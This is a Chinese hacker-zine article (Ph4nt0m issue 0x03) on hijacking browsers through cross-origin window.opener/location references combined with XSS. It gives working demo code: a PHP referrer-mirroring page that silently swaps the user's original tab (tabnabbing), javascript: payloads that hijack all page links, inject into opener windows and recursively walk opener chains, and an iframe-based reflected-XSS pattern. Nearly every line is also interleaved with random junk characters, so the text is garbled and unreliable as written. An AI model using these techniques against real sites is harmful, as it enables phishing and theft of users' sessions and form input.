==Ph4nt0m Security Team==
3 @( R: |( z D- _ , b& h. z( ^$ f6 @4 I6 h" Z4 O" _5 R
Issue 0x03, Phile #0x05 of 0x07
3 \ _; H, Z1 B8 a u3 R* ^9 Y0 _) u) k/ |% |* A
?! @# J. @- C+ Y4 z& G|=---------------------------------------------------------------------------=|
, j6 [3 {$ b! A+ X* D7 g6 c% Q$ q|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|6 M6 k$ ]# t1 s
|=---------------------------------------------------------------------------=|" O5 T! D+ e8 e
|=---------------------------------------------------------------------------=|9 F4 ~% Q- w( ], y1 s& E
|=------------------------=[ By rayh4c ]=---------------------------=|) j" n% L" p+ f$ w
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
0 O; U7 }6 m4 b$ L/ O/ L5 ?+ q|=---------------------------------------------------------------------------=|
4 j+ s' X& v/ @- t
6 q; h& A" [) }2 C9 y4 m- Z+ W6 R; [- _' P+ f3 L2 X) V. k0 X: z
[目录]+ u. Y* @; R; g$ w
! Q: S. v8 F& F' R4 I" X1. 前言
0 H' u3 n3 G8 B+ J- k3 S2. 同源策略简叙
* t: \* Q- Q- g. r% N4 [3. 理解window对象的同源策略
& S; Y! j3 \3 e2 K: p( [7 w# ~$ U8 l& e4. 窗口引用功能中的同源策略漏洞0 k: N' H# d5 o
4.1 父窗口引用子窗口的同源策略问题
( ?* b4 Q6 G; H& l9 j! ~6 k7 { D 4.2 子窗口引用父窗口的同源策略问题
0 a. g. N3 f6 X0 R$ Y3 B5. 利用窗口引用漏洞劫持浏览器
6 K* Z, [% r; o0 ]7 T/ o6. 利用XSS漏洞劫持浏览器
" g8 f. Y c% Y6 M7 { 6.1 正向跨窗口劫持
/ k! S' S/ u7 f3 Y8 A) D( u 6.2 反向跨窗口劫持; F7 }- P: {8 w* z# b1 J
6.3 极度危险的跨框架窗口引用劫持+ f% l b6 K$ A( c
6.4 极度危险的正反向跨窗口递归劫持4 m8 J% d% F A# q4 G
6.5 完全控制浏览器
. S$ j h8 `- ^7 M/ T+ d& ?' _5 f7. 后记' Y$ [ O5 f2 O% V9 {
8. 参考" V ]8 j3 n9 G7 i; w" F
5 u( r% ]! M8 O, X& V) O, ^
' K) ?' z: J6 [8 f T" y$ U2 S* V一、前言2 X: y, J3 m, _# j5 O
1 e7 z) Q# p( I' w$ B# s: R& m
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
* v( i; t+ e/ D# P" ~友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
" @; j3 P( S9 |& K9 J劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被+ A3 U" O# \$ k0 d7 v% v8 w& y
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
7 e2 W# i6 g) F
. |) Q$ w9 d8 d) f1 z. {5 E9 b, E0 {) r
0 s3 ?- {- F1 I6 W. Y- s二、同源策略简叙3 ~% N/ Q1 d9 _( S% N
h6 e6 y2 N7 T5 N 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
+ O, n, g4 F0 I1 }从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都5 z# {! x7 ]5 G5 B3 w& Q) j" k
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
% b2 m/ X1 p1 w- V马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
- M5 j7 t' j2 J- I: ?漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。/ S( g* w y& Q4 p9 E) I& }5 J* n
; o7 x: g) D5 }, L" H7 d
0 a) `& P) W1 W, g+ _5 t4 K三、理解window对象的同源策略+ Z7 c5 A D& ?# `* v4 S! D
, c6 T$ x+ g6 e* A* c2 |
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对% J, c0 H) r4 q% X1 _+ H' @
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:3 R4 [( C- W$ J1 G7 i1 d
9 N" P% f) u8 s) m
--code-------------------------------------------------------------------------
1 q& m7 R: J# T/ G<script language="javascript">+ Q5 c8 V* n! @! r# a
for(p in window) document.write(p+"<br>");& M8 \" v D3 U3 _$ c4 Y$ K
</script>( |; u# `( w3 u) u2 k9 T# L b
-------------------------------------------------------------------------------
6 f7 M; r% d) B7 s* Y- k5 c7 n8 x
' X& m9 G% ?2 y9 f/ Z 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方; S6 U, p4 l& D5 P4 }1 I
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,9 k8 Z, h( Y- i2 y: |
这些属性和方法就必须遵循同源策略。
- P7 i$ q; E% H6 `0 q6 b+ k
( l' {( ^. Q& `1 x0 l Y 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那2 ` w* ]4 F% V, M( M; j# [! M% y
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
/ L: X0 N/ c( H+ q0 e- N. X; H的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这- j7 v1 i! H* p2 z
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的# S) r; Y: M: F, X# i
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location0 x F/ _. k# n: O+ b# ?. j9 |! B& \
属性并没有被拒绝访问。, o |8 W' [1 q0 {3 j4 l$ n
1 g, F6 Y6 p |6 {
--demo.html--------------------------------------------------------------------' y) c9 z+ H# I$ N$ W( S& ^; C
<script language="javascript"> 9 z7 c- F1 }4 T4 A& w2 c7 G
function allPrpos(obj) { 1 e( F: M$ x6 d" d) M: `" o
var props = "<table><tr><td>名称</td><td>值</td>"; ! ~; g( Q; E) n& t, C- B' u
for(var p in obj){ - r) |& M* O+ ~9 m. w) f
if(typeof(obj[p])=="function"){ f3 a/ s0 A8 E& q6 y; w2 x
obj[p](); H9 P# }( G& _
}else{
6 j8 ?. l0 V* O* ~6 e5 r1 Z try
8 n* u% P* L* q { 4 w: i! u5 m/ n- G5 M2 H
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; & j. t( t2 `2 M/ Z3 g) H- b. n. Y
} ; \( V2 l# ~& Y$ z0 d7 J
catch (ex) ! M9 B' N+ d- p( [0 y# q7 j" ]0 E1 q
{
6 U, p }, C+ m& S 8 d' g6 ]# K+ W3 {" i* G
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; - j* S+ s; a2 j H
} 0 D! U: J. ~6 Q. p: Y& O1 x) w0 j: u
3 v; s* ^0 a: X" @- G
}
n7 q' e6 A, z: K$ Q } ' B( h ^( e" J' `
! f( O: A7 t' s+ P4 q+ B5 j document.write(props+"</table>");
7 Z& M+ s5 K- F0 F9 B( q, K} & A/ j( {) U) @ a, M8 ~
0 I; C) C. A1 S0 `
function createWin() {& A* D* B0 y; f; _
newWin = window.open ("http://www.google.com");
" Z9 k0 j- R) O9 l5 O$ j setTimeout(function(){allPrpos(newWin)},2000); : M. c+ f6 R1 _5 v2 I7 F' K" h
} 2 m5 v8 R% u* b' V
8 t7 ~& c9 C/ J8 l
</script> : L6 p8 B$ I( J7 I- [9 y. z
9 W* I' }8 c u( l3 Z
<button onclick='createWin()'>创建一个非同源子窗口测试</button>" R5 K2 t$ f; M8 t5 _
-------------------------------------------------------------------------------
, ?( E- x( U+ a& |% Y+ z i' s7 l8 v( a- o
% D, O# u( X% V! }
四、窗口引用功能中的同源策略漏洞
% l, i9 }! t& J6 i* O
- F1 y o- b! g4.1 父窗口引用子窗口的同源策略问题
; E/ x9 k, e: r" c" x& z) e& E0 }0 |6 a% s) T) Z2 H$ h: X% O
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,1 f( U r5 @/ `$ h: D, R% H
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
$ O% P7 ^! u% F3 t' a浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进7 m# `: B, I, V0 E/ g
行测试,会发现父窗口可以控制非同源子窗口location属性值。
: t9 E) |4 ^5 Y* c$ w# O7 [) A9 A7 j \* ~1 E* e
--vul1.html-------------------------------------------------------------------- A, n! b9 I% `1 R
<script language="javascript"> - a, ~( G$ p, Z8 N5 [
function createWin() { # ^& o# B+ z8 q' o+ V8 r; B
newWin = window.open ("http://www.google.com");
( S* ]; \& ^: p6 w: \) ` setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 2 p9 N2 o9 r A5 I4 ?. L$ n$ T
} 7 v0 q4 K; I' k
</script>% S- U' t5 ^% k! N' p3 G0 T' c
# X" y5 w' J3 |4 P. Z5 C0 e5 J/ @
<button onclick='createWin()'>创建一个非同源子窗口测试</button> z! A% T) R3 Z& Q+ J
-------------------------------------------------------------------------------8 d2 t6 v/ z* I$ K4 h) O: E
; H+ G" Z9 d+ i" V" Q$ S6 Q
! ]* E* J! E; H* U) N0 p4.2 子窗口引用父窗口的同源策略问题+ c! w1 X2 y1 }. ?1 {
( l# {( _+ l, P4 w' C, d) K8 k: \ 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) w) {0 x/ T$ u3 I/ C/ H7 S用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
6 O. D, V- l" S* v7 q9 ~可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定. F. q9 o7 x, C. Q$ \" `
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。7 D) H' a; K. E! P( d! a
+ c3 |* j$ Q: u: m- p0 K--code-------------------------------------------------------------------------
) X8 g7 p+ q3 f1 C+ ^9 ~
1 d" E0 f( h E* q6 C4 V) s# j8 fjavascript:window.opener.location = "http://www.80sec.com";void(0);& r5 |. j! h M& c# |
9 Y3 z8 G/ t$ W: g& D5 }2 D-------------------------------------------------------------------------------
. u; m P. W; C8 R8 [: b# Z! }+ u& k' t2 F4 l3 k: H6 H
$ E$ Y. r9 r2 i) i" v B五、利用窗口引用漏洞劫持浏览器
! o, l4 K" m) p7 r, h6 r# M
6 q0 L9 K3 {& [0 v5 \, ~+ u 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子4 b6 ^( A% t5 u/ m3 j s& [
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" _* F# }5 P9 A9 [8 O. ^$ I
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。; N) e* W# i% v o) S
8 x) |: F9 V! \! {1 ]) F4 a6 [3 ~
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
1 Y* W$ u) @ r/ C生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
* {. A* Z7 [' b# ?+ Q9 q* C者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
2 w4 D2 g' p4 I Z% x# a后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下: w; u# y8 h( B8 P$ N
会产生什么可怕的后果。
$ J+ N. B W$ l+ F' D) P9 ^
4 m4 \. J: @0 e' e5 G# } 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
6 m- R5 s% p' Y们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
1 B* Y$ G- }0 ^2 K; ^: A9 e9 P; c( S这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
3 x/ }9 n3 j+ v4 u" ^( ]: t候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
$ A8 x; |5 ~5 k5 `1 T' Z以做更多的事情,所有的一切仅仅是因为点击了一个链接。
/ \# ^/ Z9 w; V8 H
; `+ D# Q. x. k0 J) b4 k- g$ m1 i8 H. L--hjk_ref.php------------------------------------------------------------------
0 z: i' z' C- S# c<?php' d! v1 r4 P! ^$ i
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
: G" _3 q- g6 \7 }" j# B. Z$Url_Mirror = $_SERVER["HTTP_REFERER"];
8 F, s: o0 E! r7 N$ {* E: n} 8 n7 _) z9 d# V6 n
if(isset ($_GET['ref'])) {# j4 g4 \( g* O0 k3 m, z
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';0 W/ `0 ~2 `: O O$ h
}
I3 y6 V7 I# B2 c8 J?>
4 b o0 _6 W$ @+ u# J l
% ^# g: G' x6 n+ T! t% L<script language="javascript">
$ Y' a% {/ a0 \& P0 {$ j) l/ ysetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
9 \: E$ Z' v' a: y, r; U7 ^" d6 U5 @</script>
# B; [ j9 \6 C-------------------------------------------------------------------------------
" h! L0 R5 ^5 H7 L# e; Z# Y
# d$ N) a4 Q/ ~4 f( O0 f 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
: L# A6 E" T+ c0 [$ U5 ]* Y0 _* [' a6 v$ y6 t B) k
' G2 U3 r% W: J5 w7 d六、利用XSS漏洞劫持浏览器
5 F* L& p+ H* S5 H/ E# m4 ]' n5 B1 i" K4 x! k5 F6 a7 @4 j7 _" _0 u! q6 F5 P
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
$ B, i- P4 ^* f; e持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后& z$ A9 ^& e, a5 L' ^+ R @# x9 O* C
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
( p+ J$ N+ F4 ?8 B讨论跨站师的终极技巧:
( U4 T# b5 \. ], X" j
+ p1 p% ]& q+ E# A/ D* o
) H/ S2 }3 e* ]: z E1 N6 G+ l6.1 正向跨窗口劫持! g6 J, n7 s3 b
8 t. y7 ~$ r; G2 i' L, Q4 {/ x3 x
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛6 ^. Q4 e% x+ [
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 e# ]3 p0 I3 x$ A m
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
9 v Q$ [ H3 n. ^框脚本。
; a+ I7 c! ^: p- a$ a8 S7 ?1 ^& ^6 `5 j0 u
--hijack_open.js---------------------------------------------------------------
) [: C9 X. W& M6 f
' {' a# ~6 y, W1 ~# M/ G Ujavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
N X' k& Z6 Q8 W4 ?- L- z6 B/ a% R3 M/ o
-------------------------------------------------------------------------------
8 W q( ]2 X6 |# o5 I+ O0 u! A& _1 @! c' c
& I$ N ^3 L: { H0 |0 j6.2 反向跨窗口劫持/ o5 G8 E% v# H4 e1 I& }
% `+ X+ u+ U. U* I: ]" H
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代' W( G; W4 r- {% A3 g, Z
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
' Z1 Y5 g# c* Q2 E$ b框脚本。
3 b1 o$ [; E8 @# y0 O; N" |
0 M- s' U5 s( U+ B--hijack_opener.js-------------------------------------------------------------1 ^* A/ `, } { C
+ N1 [2 p: h8 r. w) Y& b, C, H5 vjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);( O3 [: T g8 |3 q
6 K7 M1 t9 O1 V-------------------------------------------------------------------------------4 _, i5 d2 T% `- p, W4 D
& K0 h5 s5 ~ E. O
4 m J& G1 x. o/ r3 ~7 N ?7 l
6.3 极度危险的跨框架窗口引用劫持
3 R8 l% Z' X7 y; P$ h6 l% ]' D" i
( V5 s- d* v: E; k8 l2 v 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
7 `- h9 X% F' b8 j可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就6 s) P( \! i( o! B
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
) l+ j! g1 O0 b" R非持久型的XSS,如下:
0 j: V$ R$ ^' F- o J! L# v
+ A5 t! D* P$ u" ?<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>3 T. f" s1 _# k- J0 Z6 s4 j
& p$ N( p/ q: A1 `9 S5 s* C' L
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
7 o0 P2 C+ p. {注入脚本。8 ^) ]+ e( U: o) {( Y4 t4 [
K' f' s1 _' X% P: s4 Z
--hijack_frame_opener.js-------------------------------------------------------! h* d$ y2 C- |
<script>
- d _2 y9 q2 g# b' Bwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";+ ?$ r+ _) ^2 F" t, k0 `
</script>; L3 B; {/ ~1 T2 @3 a/ A# f
-------------------------------------------------------------------------------$ b" _! k4 a+ K/ b
/ z: V& ^! q$ K, k- E8 l* v
1 m' t$ Z& m$ t6.4 极度危险的正反向跨窗口递归劫持
- h! R( \4 C. E2 \" e- x
* v0 a+ \2 T; V6 {* ]9 [: X+ \ luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
2 g) L, q( }/ t7 k的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过6 {+ ^+ s+ q: D
异常处理规避之间跨域页面的访问异常,代码如下:
! z# P- {1 K1 W" _
5 ]. }: N1 B+ y, s--code-------------------------------------------------------------------------) }6 s7 f) {* G6 U4 ^3 s
- B( P7 _0 y! u6 [7 Ujavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);. W# n+ w0 d5 R5 N8 O8 r* N0 r
& C; f4 d0 z E! l-------------------------------------------------------------------------------1 ?7 P' \& p `7 d
z; c) J5 Z: R4 d
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
( {+ v% r+ e! j9 X以劫持B域之前的A域页面,从而实现“隔空打击”。$ M9 J( q0 I/ E1 L, I t- H$ q
2 J3 {0 E. v! C9 B 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面7 n, [; w9 C' v8 w/ s [8 l+ v
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。. v- E+ G- N% _
! _) o! D# P, Y. P! R 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
; v4 Q1 A4 ], w; ]! n, A3 c$ n& B! ^0 O& X. q1 _. Z
0 R# e" I$ J+ b% s5 Y5 c6.5 完全控制浏览器* g: _! f" s' c: Z/ Y2 C3 ?3 |
, c+ y* |, b+ j: p* _$ Q1 U
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则; b* H3 s9 ~; x
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
( x. R1 }9 w! U9 I漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失- d% l3 _ T! n
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
; E$ Z" C1 m# v5 S6 c) g列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
7 b; G m+ w: c. u E* `师的终极目标 - 完全控制浏览器。7 F+ z [1 d% J' R4 l+ Q, t
8 P$ T; e& A: d+ I4 P' N+ r P. F) q
七、后记; A _' F z2 Y4 M2 Z
" Q% _. s; w7 S- o2 G! H. n: p 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
2 x" d- h3 k9 p; F' f7 u( ~- z3 I与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
/ Q" u2 R7 h( n9 C7 b5 a7 n5 U过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。* f3 s9 v$ N/ g& @# u
1 e" s2 e# [2 Q6 n0 a
, H! M8 ^& r$ K* Y$ x
八、参考* L% `1 G$ t9 V" K+ b' {, {! X$ N
4 b5 Z& @' h$ r1. http://en.wikipedia.org/wiki/Same_origin_policy" G1 M/ @/ o. Q1 \* a
2. http://code.google.com/p/browser ... licy_for_DOM_access
( U3 X* b$ s2 E- ^2 k" g3 b8 r3. http://www.w3.org/TR/Window/
( Z& |! {. g; e M7 P4. http://www.80sec.com/release/browser-hijacking.txt
; m0 l- ]7 i# h7 J8 ?* Q5. http://www.80sec.com/all-browser-security-alert.html7 j/ a/ T! R; m" [) C% ~7 \
6. http://www.80sec.com/ms08-058-attacks-google.html
; V6 Q$ \. h3 V9 U6 A% r& r
# |2 n8 S# z* q' B6 |/ H" P-EOF- |